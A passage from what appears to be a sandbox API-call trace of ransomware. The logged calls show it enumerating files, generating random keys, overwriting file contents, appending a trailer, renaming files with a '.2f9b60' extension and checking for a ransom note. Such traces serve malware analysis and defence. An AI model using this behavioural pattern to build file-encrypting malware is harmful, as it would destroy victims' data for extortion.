ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x14af010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x2b88, dwReserved0=0x0, dwReserved1=0x0, cFileName="PABR.SAM", cAlternateFileName="")) returned 1 [0120.524] wcscmp (_String1="PABR.SAM", _String2=".") returned 1 [0120.524] wcscmp (_String1="PABR.SAM", _String2="..") returned 1 [0120.524] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x2050b190 [0120.524] wcscpy (in: _Dest=0x2050b190, _Source="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033" [0120.524] wcscat (in: _Dest=0x2050b190, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\" [0120.524] wcscat (in: _Dest=0x2050b190, _Source="PABR.SAM" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\PABR.SAM") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\PABR.SAM" [0120.524] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2050b190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1124 [0120.525] FindNextFileW (in: hFindFile=0x1cd9dfd0, lpFindFileData=0x2027c590 | out: lpFindFileData=0x2027c590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x3590, dwReserved0=0x0, dwReserved1=0x0, cFileName="TRANSMRR.DLL", cAlternateFileName="")) returned 1 [0120.525] wcscmp (_String1="TRANSMRR.DLL", _String2=".") returned 1 [0120.525] wcscmp (_String1="TRANSMRR.DLL", _String2="..") returned 1 [0120.525] FindNextFileW (in: hFindFile=0x1cd9dfd0, lpFindFileData=0x2027c590 | out: lpFindFileData=0x2027c590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x3590, dwReserved0=0x0, dwReserved1=0x0, cFileName="TRANSMRR.DLL", cAlternateFileName="")) returned 0 [0120.525] FindClose (in: hFindFile=0x1cd9dfd0 | out: hFindFile=0x1cd9dfd0) returned 1 [0120.527] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027c590) returned 1 [0120.527] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868e40) returned 1 [0120.527] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e710) returned 1 Thread: id = 1206 os_tid = 0xd10 [0114.528] GetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft Store.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\microsoft store.url")) returned 0x20 [0114.529] SetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft Store.url", dwFileAttributes=0x20) returned 1 [0114.529] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft Store.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\microsoft store.url"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x14b0 [0114.530] GetFileSizeEx (in: hFile=0x14b0, lpFileSize=0x37e0f9c0 | out: lpFileSize=0x37e0f9c0*=134) returned 1 [0114.530] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202617f0 [0114.530] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262f00 [0114.530] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262b40 [0114.530] NtQuerySystemTime (in: CurrentTime=0x37e0f880 | out: CurrentTime=0x37e0f880*=132462177199870000) returned 0x0 [0114.530] RtlRandomEx (in: Seed=0x37e0f870 | out: Seed=0x37e0f870) returned 0x315b847d [0114.530] RtlRandomEx (in: Seed=0x37e0f870 | out: Seed=0x37e0f870) returned 0x67b9f298 [0114.530] RtlRandomEx (in: Seed=0x37e0f870 | out: Seed=0x37e0f870) returned 0x7aad6a7a [0114.530] RtlRandomEx (in: Seed=0x37e0f870 | out: Seed=0x37e0f870) returned 0x2968147d [0114.530] RtlRandomEx (in: Seed=0x37e0f870 | out: Seed=0x37e0f870) returned 0x44038ab [0114.530] RtlRandomEx (in: Seed=0x37e0f870 | out: Seed=0x37e0f870) returned 0x47570d62 [0114.530] RtlRandomEx (in: Seed=0x37e0f870 | out: Seed=0x37e0f870) returned 0x7cc127dd [0114.530] RtlRandomEx (in: Seed=0x37e0f870 | out: Seed=0x37e0f870) returned 0x25f10e66 [0114.530] RtlRandomEx (in: Seed=0x37e0f870 | out: Seed=0x37e0f870) returned 0x2441ff07 [0114.530] RtlRandomEx (in: Seed=0x37e0f870 | out: Seed=0x37e0f870) returned 0x2fd8ab18 [0114.530] RtlRandomEx (in: Seed=0x37e0f870 | out: Seed=0x37e0f870) returned 0x4989335c [0114.530] RtlRandomEx (in: Seed=0x37e0f870 | out: Seed=0x37e0f870) returned 0x674396a0 [0114.530] RtlRandomEx (in: Seed=0x37e0f870 | out: Seed=0x37e0f870) returned 0x6e3a91e7 [0114.531] RtlRandomEx (in: Seed=0x37e0f870 | out: Seed=0x37e0f870) returned 0x4932eeab [0114.531] RtlRandomEx (in: Seed=0x37e0f870 | out: Seed=0x37e0f870) returned 0x6e40e5f2 [0114.531] RtlRandomEx (in: Seed=0x37e0f870 | out: Seed=0x37e0f870) returned 0x275ec6e8 [0114.531] RtlRandomEx (in: Seed=0x37e0f870 | out: Seed=0x37e0f870) returned 0x36b39f9a [0114.531] RtlRandomEx (in: Seed=0x37e0f870 | out: Seed=0x37e0f870) returned 0x20158335 [0114.531] RtlRandomEx (in: Seed=0x37e0f870 | out: Seed=0x37e0f870) returned 0x38cc9baf [0114.531] RtlRandomEx (in: Seed=0x37e0f870 | out: Seed=0x37e0f870) returned 0x22b1d298 [0114.531] RtlRandomEx (in: Seed=0x37e0f870 | out: Seed=0x37e0f870) returned 0x22b0392c [0114.531] RtlRandomEx (in: Seed=0x37e0f870 | out: Seed=0x37e0f870) returned 0x1d1245b5 [0114.531] RtlRandomEx (in: Seed=0x37e0f870 | out: Seed=0x37e0f870) returned 0x37bbaf77 [0114.531] RtlRandomEx (in: Seed=0x37e0f870 | out: Seed=0x37e0f870) returned 0x264b3e69 [0114.531] RtlRandomEx (in: Seed=0x37e0f870 | out: Seed=0x37e0f870) returned 0x2e207371 [0114.531] RtlRandomEx (in: Seed=0x37e0f870 | out: Seed=0x37e0f870) returned 0x4575683b [0114.531] RtlRandomEx (in: Seed=0x37e0f870 | out: Seed=0x37e0f870) returned 0x5e45d8ab [0114.531] RtlRandomEx (in: Seed=0x37e0f870 | out: Seed=0x37e0f870) returned 0x5a51272f [0114.531] RtlRandomEx (in: Seed=0x37e0f870 | out: Seed=0x37e0f870) returned 0x3abb2f76 [0114.531] RtlRandomEx (in: Seed=0x37e0f870 | out: Seed=0x37e0f870) returned 0x54da8840 [0114.531] RtlRandomEx (in: Seed=0x37e0f870 | out: Seed=0x37e0f870) returned 0x36aff635 [0114.531] RtlRandomEx (in: Seed=0x37e0f870 | out: Seed=0x37e0f870) returned 0x2bdafaa2 [0114.541] ReadFile (in: hFile=0x14b0, lpBuffer=0x41c485a0, nNumberOfBytesToRead=0x86, lpNumberOfBytesRead=0x37e0f870, lpOverlapped=0x0 | out: lpBuffer=0x41c485a0*, lpNumberOfBytesRead=0x37e0f870*=0x86, lpOverlapped=0x0) returned 1 [0114.542] SetFilePointerEx (in: hFile=0x14b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.542] WriteFile (in: hFile=0x14b0, lpBuffer=0x41c4c1b0*, nNumberOfBytesToWrite=0x86, lpNumberOfBytesWritten=0x37e0f874, lpOverlapped=0x0 | out: lpBuffer=0x41c4c1b0*, lpNumberOfBytesWritten=0x37e0f874*=0x86, lpOverlapped=0x0) returned 1 [0147.841] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860b70 [0147.841] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f550 [0147.841] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f550) returned 1 [0147.841] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41c4c1b0) returned 1 [0147.842] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41c485a0) returned 1 [0147.842] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8689c0) returned 1 [0147.842] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c670) returned 1 [0147.842] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1cda07f0 [0147.842] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c670 [0147.842] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8689c0 [0147.842] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f550 [0147.842] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f550) returned 1 [0147.842] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1cda0830 [0147.843] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f550 [0147.843] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fd90 [0147.843] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fd90) returned 1 [0147.843] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8689c0) returned 1 [0147.843] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c670) returned 1 [0147.843] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x118) returned 0x167b80 [0147.843] SetFilePointerEx (in: hFile=0x14b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0147.843] WriteFile (in: hFile=0x14b0, lpBuffer=0x167b80*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x37e0f990, lpOverlapped=0x0 | out: lpBuffer=0x167b80*, lpNumberOfBytesWritten=0x37e0f990*=0x118, lpOverlapped=0x0) returned 1 [0148.107] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97300 [0148.108] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869ec0 [0148.108] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8f50 [0148.108] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8f50) returned 1 [0148.108] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202a8f50 [0148.108] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8ec0 [0148.108] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8ce0 [0148.109] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8ce0) returned 1 [0148.109] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869ec0) returned 1 [0148.109] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0148.109] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4d) returned 0x1cd9db50 [0148.109] sprintf (in: _Dest=0x1cd9db50, _Format="%c%c" | out: _Dest="d3") returned 2 [0148.109] sprintf (in: _Dest=0x1cd9db52, _Format="%c%c" | out: _Dest="66") returned 2 [0148.109] sprintf (in: _Dest=0x1cd9db54, _Format="%c%c" | out: _Dest="97") returned 2 [0148.109] sprintf (in: _Dest=0x1cd9db56, _Format="%c%c" | out: _Dest="59") returned 2 [0148.110] sprintf (in: _Dest=0x1cd9db58, _Format="%c%c" | out: _Dest="3e") returned 2 [0148.110] sprintf (in: _Dest=0x1cd9db5a, _Format="%c%c" | out: _Dest="9c") returned 2 [0148.110] sprintf (in: _Dest=0x1cd9db5c, _Format="%c%c" | out: _Dest="f8") returned 2 [0148.110] sprintf (in: _Dest=0x1cd9db5e, _Format="%c%c" | out: _Dest="23") returned 2 [0148.110] sprintf (in: _Dest=0x1cd9db60, _Format="%c%c" | out: _Dest="81") returned 2 [0148.110] sprintf (in: _Dest=0x1cd9db62, _Format="%c%c" | out: _Dest="50") returned 2 [0148.110] sprintf (in: _Dest=0x1cd9db64, _Format="%c%c" | out: _Dest="41") returned 2 [0148.110] sprintf (in: _Dest=0x1cd9db66, _Format="%c%c" | out: _Dest="12") returned 2 [0148.110] sprintf (in: _Dest=0x1cd9db68, _Format="%c%c" | out: _Dest="14") returned 2 [0148.110] sprintf (in: _Dest=0x1cd9db6a, _Format="%c%c" | out: _Dest="30") returned 2 [0148.110] sprintf (in: _Dest=0x1cd9db6c, _Format="%c%c" | out: _Dest="7d") returned 2 [0148.110] sprintf (in: _Dest=0x1cd9db6e, _Format="%c%c" | out: _Dest="33") returned 2 [0148.110] sprintf (in: _Dest=0x1cd9db70, _Format="%c%c" | out: _Dest="e8") returned 2 [0148.110] sprintf (in: _Dest=0x1cd9db72, _Format="%c%c" | out: _Dest="59") returned 2 [0148.110] sprintf (in: _Dest=0x1cd9db74, _Format="%c%c" | out: _Dest="be") returned 2 [0148.110] sprintf (in: _Dest=0x1cd9db76, _Format="%c%c" | out: _Dest="1d") returned 2 [0148.110] sprintf (in: _Dest=0x1cd9db78, _Format="%c%c" | out: _Dest="8c") returned 2 [0148.110] sprintf (in: _Dest=0x1cd9db7a, _Format="%c%c" | out: _Dest="a0") returned 2 [0148.110] sprintf (in: _Dest=0x1cd9db7c, _Format="%c%c" | out: _Dest="66") returned 2 [0148.111] sprintf (in: _Dest=0x1cd9db7e, _Format="%c%c" | out: _Dest="04") returned 2 [0148.111] sprintf (in: _Dest=0x1cd9db80, _Format="%c%c" | out: _Dest="33") returned 2 [0148.111] sprintf (in: _Dest=0x1cd9db82, _Format="%c%c" | out: _Dest="cd") returned 2 [0148.111] sprintf (in: _Dest=0x1cd9db84, _Format="%c%c" | out: _Dest="03") returned 2 [0148.111] sprintf (in: _Dest=0x1cd9db86, _Format="%c%c" | out: _Dest="e4") returned 2 [0148.111] sprintf (in: _Dest=0x1cd9db88, _Format="%c%c" | out: _Dest="38") returned 2 [0148.111] sprintf (in: _Dest=0x1cd9db8a, _Format="%c%c" | out: _Dest="98") returned 2 [0148.111] sprintf (in: _Dest=0x1cd9db8c, _Format="%c%c" | out: _Dest="a8") returned 2 [0148.111] sprintf (in: _Dest=0x1cd9db8e, _Format="%c%c" | out: _Dest="70") returned 2 [0148.111] sprintf (in: _Dest=0x1cd9db90, _Format="%c%c" | out: _Dest="ef") returned 2 [0148.111] sprintf (in: _Dest=0x1cd9db92, _Format="%c%c" | out: _Dest="0f") returned 2 [0148.111] sprintf (in: _Dest=0x1cd9db94, _Format="%c%c" | out: _Dest="ce") returned 2 [0148.111] sprintf (in: _Dest=0x1cd9db96, _Format="%c%c" | out: _Dest="1a") returned 2 [0148.111] sprintf (in: _Dest=0x1cd9db98, _Format="%c%c" | out: _Dest="35") returned 2 [0148.111] sprintf (in: _Dest=0x1cd9db9a, _Format="%c%c" | out: _Dest="27") returned 2 [0148.111] RtlInitAnsiString (in: DestinationString=0x37e0fa08, SourceString="d36697593e9cf8238150411214307d33e859be1d8ca0660433cd03e43898a870ef0fce1a3527" | out: DestinationString="d36697593e9cf8238150411214307d33e859be1d8ca0660433cd03e43898a870ef0fce1a3527") [0148.111] RtlAnsiStringToUnicodeString (in: DestinationString=0x37e0f9d8, SourceString="d36697593e9cf8238150411214307d33e859be1d8ca0660433cd03e43898a870ef0fce1a3527", AllocateDestinationString=1 | out: DestinationString="d36697593e9cf8238150411214307d33e859be1d8ca0660433cd03e43898a870ef0fce1a3527") returned 0x0 [0148.111] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x202ac840 [0148.112] RtlFreeAnsiString (AnsiString="d") [0148.112] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9db50) returned 1 [0148.112] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8f50) returned 1 [0148.112] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8ec0) returned 1 [0148.113] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x167b80) returned 1 [0148.113] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cda0830) returned 1 [0148.113] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f550) returned 1 [0148.113] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cda07f0) returned 1 [0148.113] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860b70) returned 1 [0148.113] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262f00) returned 1 [0148.113] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260740) returned 1 [0148.114] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260710) returned 1 [0148.114] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x20506630 [0148.114] wcscat (in: _Dest=0x20506630, _Source="d36697593e9cf823815" | out: _Dest="C:\\Users\\Default\\Favorites\\Microsoft Websites\\d36697593e9cf823815") returned="C:\\Users\\Default\\Favorites\\Microsoft Websites\\d36697593e9cf823815" [0148.114] wcscat (in: _Dest=0x20506630, _Source=".2f9b60" | out: _Dest="C:\\Users\\Default\\Favorites\\Microsoft Websites\\d36697593e9cf823815.2f9b60") returned="C:\\Users\\Default\\Favorites\\Microsoft Websites\\d36697593e9cf823815.2f9b60" [0148.114] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\d36697593e9cf823815.2f9b60", NtPathName=0x37e0f9b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\Default\\Favorites\\Microsoft Websites\\d36697593e9cf823815.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0148.114] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb0) returned 0x202783b0 [0148.114] NtSetInformationFile (FileHandle=0x14b0, IoStatusBlock=0x37e0fa50, FileInformation=0x202783b0, Length=0xb0, FileInformationClass=0xa) [0181.383] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202783b0) returned 1 [0181.384] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20290dd0) returned 1 [0181.384] NtQueryInformationFile (in: FileHandle=0x14b0, IoStatusBlock=0x37e0fa18, FileInformation=0x37e0fa28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x37e0fa18, FileInformation=0x37e0fa28) returned 0x0 [0181.384] NtSetInformationFile (FileHandle=0x14b0, IoStatusBlock=0x37e0fa18, FileInformation=0x37e0fa28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0184.684] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20506630) returned 1 [0184.684] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ac840) returned 1 [0184.684] FlushFileBuffers (hFile=0x14b0) returned 1 [0184.698] CloseHandle (hObject=0x14b0) returned 1 [0188.532] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x42c239e0 [0188.532] wcscpy (in: _Dest=0x42c239e0, _Source="C:\\Users\\Default\\Favorites\\Microsoft Websites\\" | out: _Dest="C:\\Users\\Default\\Favorites\\Microsoft Websites\\") returned="C:\\Users\\Default\\Favorites\\Microsoft Websites\\" [0188.533] wcscat (in: _Dest=0x42c239e0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\Default\\Favorites\\Microsoft Websites\\2F9B60-Readme.txt") returned="C:\\Users\\Default\\Favorites\\Microsoft Websites\\2F9B60-Readme.txt" [0188.533] GetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\2F9B60-Readme.txt" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\2f9b60-readme.txt")) returned 0x20 [0188.533] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c239e0) returned 1 [0188.533] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a5970) returned 1 Thread: id = 1207 os_tid = 0xc58 [0114.615] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLADD.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oladd.fae")) returned 0x20 [0114.616] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLADD.FAE", dwFileAttributes=0x20) returned 1 [0114.617] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLADD.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oladd.fae"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x354 [0114.617] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x22acf700 | out: lpFileSize=0x22acf700*=133024) returned 1 [0114.617] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x2079c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.617] ReadFile (in: hFile=0x354, lpBuffer=0x22acf680, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x22acf6c8, lpOverlapped=0x0 | out: lpBuffer=0x22acf680*, lpNumberOfBytesRead=0x22acf6c8*=0x4, lpOverlapped=0x0) returned 1 [0114.628] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.628] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9280 [0114.628] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9250 [0114.628] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9340 [0114.628] NtQuerySystemTime (in: CurrentTime=0x22acf5c0 | out: CurrentTime=0x22acf5c0*=132462177200806000) returned 0x0 [0114.628] RtlRandomEx (in: Seed=0x22acf5b0 | out: Seed=0x22acf5b0) returned 0x215816f7 [0114.629] RtlRandomEx (in: Seed=0x22acf5b0 | out: Seed=0x22acf5b0) returned 0x305ad7c7 [0114.629] RtlRandomEx (in: Seed=0x22acf5b0 | out: Seed=0x22acf5b0) returned 0x4934615d [0114.629] RtlRandomEx (in: Seed=0x22acf5b0 | out: Seed=0x22acf5b0) returned 0x42dbc65b [0114.629] RtlRandomEx (in: Seed=0x22acf5b0 | out: Seed=0x22acf5b0) returned 0x44a5a1dd [0114.629] RtlRandomEx (in: Seed=0x22acf5b0 | out: Seed=0x22acf5b0) returned 0x586fa314 [0114.629] RtlRandomEx (in: Seed=0x22acf5b0 | out: Seed=0x22acf5b0) returned 0x91db7c2 [0114.629] RtlRandomEx (in: Seed=0x22acf5b0 | out: Seed=0x22acf5b0) returned 0x309cd9c2 [0114.629] RtlRandomEx (in: Seed=0x22acf5b0 | out: Seed=0x22acf5b0) returned 0x14cda95e [0114.629] RtlRandomEx (in: Seed=0x22acf5b0 | out: Seed=0x22acf5b0) returned 0x78cc9f30 [0114.629] RtlRandomEx (in: Seed=0x22acf5b0 | out: Seed=0x22acf5b0) returned 0x41d76cfd [0114.629] RtlRandomEx (in: Seed=0x22acf5b0 | out: Seed=0x22acf5b0) returned 0x4b0457b6 [0114.629] RtlRandomEx (in: Seed=0x22acf5b0 | out: Seed=0x22acf5b0) returned 0x3078acf2 [0114.629] RtlRandomEx (in: Seed=0x22acf5b0 | out: Seed=0x22acf5b0) returned 0x509c5f75 [0114.629] RtlRandomEx (in: Seed=0x22acf5b0 | out: Seed=0x22acf5b0) returned 0x7ae7568 [0114.629] RtlRandomEx (in: Seed=0x22acf5b0 | out: Seed=0x22acf5b0) returned 0x7025cad8 [0114.629] RtlRandomEx (in: Seed=0x22acf5b0 | out: Seed=0x22acf5b0) returned 0x39b1d4ed [0114.629] RtlRandomEx (in: Seed=0x22acf5b0 | out: Seed=0x22acf5b0) returned 0x4bb00d92 [0114.629] RtlRandomEx (in: Seed=0x22acf5b0 | out: Seed=0x22acf5b0) returned 0x5cc40409 [0114.629] RtlRandomEx (in: Seed=0x22acf5b0 | out: Seed=0x22acf5b0) returned 0x6632d350 [0114.629] RtlRandomEx (in: Seed=0x22acf5b0 | out: Seed=0x22acf5b0) returned 0x3dab808 [0114.630] RtlRandomEx (in: Seed=0x22acf5b0 | out: Seed=0x22acf5b0) returned 0x522e637c [0114.630] RtlRandomEx (in: Seed=0x22acf5b0 | out: Seed=0x22acf5b0) returned 0x64d690a8 [0114.630] RtlRandomEx (in: Seed=0x22acf5b0 | out: Seed=0x22acf5b0) returned 0x6897ef57 [0114.630] RtlRandomEx (in: Seed=0x22acf5b0 | out: Seed=0x22acf5b0) returned 0x1fb2c343 [0114.630] RtlRandomEx (in: Seed=0x22acf5b0 | out: Seed=0x22acf5b0) returned 0x5de0bb5b [0114.630] RtlRandomEx (in: Seed=0x22acf5b0 | out: Seed=0x22acf5b0) returned 0x68e25c40 [0114.630] RtlRandomEx (in: Seed=0x22acf5b0 | out: Seed=0x22acf5b0) returned 0x6839dff [0114.630] RtlRandomEx (in: Seed=0x22acf5b0 | out: Seed=0x22acf5b0) returned 0x69e370c0 [0114.630] RtlRandomEx (in: Seed=0x22acf5b0 | out: Seed=0x22acf5b0) returned 0x220ad6f [0114.630] RtlRandomEx (in: Seed=0x22acf5b0 | out: Seed=0x22acf5b0) returned 0x2d9f0b75 [0114.630] RtlRandomEx (in: Seed=0x22acf5b0 | out: Seed=0x22acf5b0) returned 0x1590c085 [0114.642] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.642] ReadFile (in: hFile=0x354, lpBuffer=0x41c2a520, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x22acf620, lpOverlapped=0x0 | out: lpBuffer=0x41c2a520*, lpNumberOfBytesRead=0x22acf620*=0x3c00, lpOverlapped=0x0) returned 1 [0114.662] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.662] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c350 [0114.663] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868d40 [0114.663] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9280 [0114.663] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9280) returned 1 [0114.663] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f085a0 [0114.663] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9280 [0114.663] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9220 [0114.663] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9220) returned 1 [0114.663] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868d40) returned 1 [0114.663] RtlFreeHeap (HeapHandle=0xa0000, 